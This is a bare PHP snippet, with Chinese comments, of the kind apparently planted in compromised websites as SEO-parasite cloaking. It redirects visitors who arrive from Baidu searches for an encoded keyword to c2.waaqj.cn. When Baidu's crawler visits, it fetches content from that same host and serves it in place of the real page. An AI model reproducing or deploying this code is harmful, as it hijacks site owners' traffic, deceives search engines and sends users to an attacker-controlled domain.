$url="http://c2.waaqj.cn"; //跳转网址 $file="http://c2.waaqj.cn"; //寄生虫域名或者ip $referer=$_SERVER["HTTP_REFERER"]; $agent= strtolower($_SERVER["HTTP_USER_AGENT"]); if(strstr($referer,"baidu")&&strstr($referer,"%B2%CA")) // 关键词url编码 { Header("Location: $url"); } if(ereg("http://www.baidu.com/search/spider.htm",$agent)) { $content=file_get_contents($file); echo $content; exit; }